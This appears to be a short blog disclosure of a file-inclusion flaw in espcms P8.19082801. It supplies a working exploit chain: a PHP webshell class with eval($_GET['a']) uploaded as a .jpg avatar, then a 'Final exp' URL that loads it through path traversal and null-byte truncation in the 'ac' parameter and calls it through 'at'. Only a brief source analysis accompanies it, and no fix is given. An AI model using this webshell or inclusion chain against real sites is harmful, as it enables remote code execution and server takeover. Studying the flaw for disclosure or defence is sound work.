espcms P8.19082801 vulnerability

Posted 2020-11-13 cimuhuashuimu

author: naiquan chai 

Net name:Hanamizuki花水木

Through  the vulnerability  we can get the webshell if we have enough privilege.

Affected by this vulnerability requires server-side php version <5.3.4

Demo

First enter the user module,then modify the user‘s avatar.Upload a file with the suffix jpg and the editorial content is 

<?php
class test{
public static function in_test(){
　　eval($_GET[‘a‘]);
　　}
}
?>

Upload success.We can get the path from the Web page source code.

 Then go to the main page and pass in

"index.php?ac=../upload/photo/userphoto_c4ca4238a0b923820dcc509a6f75849b.jpg%00&at=test&a=echo 1;"

 We find that the page echo 1.

 

Source code analysis

espcms_web/espcms_load.php:

 We can find that through ac parameters we can include files, and at parameters can execute methods.

Tracking function espcms_get_ac() and function espcms_get_at():

 We can see that the function does not filter user input at all,so  ac parameter can facilitate the directory,this results in arbitrary file inclusion.

However,through the file espcms_web/espcms_load.php, we find that the ac parameter is automatically followed by a .php suffix.

We can use truncation vulnerabilities to bypass it,this requires  PHP version < 5.3.4

 

Final exp

index.php?ac=../upload/photo/userphoto_c4ca4238a0b923820dcc509a6f75849b.jpg%00&at=test&a=echo 1;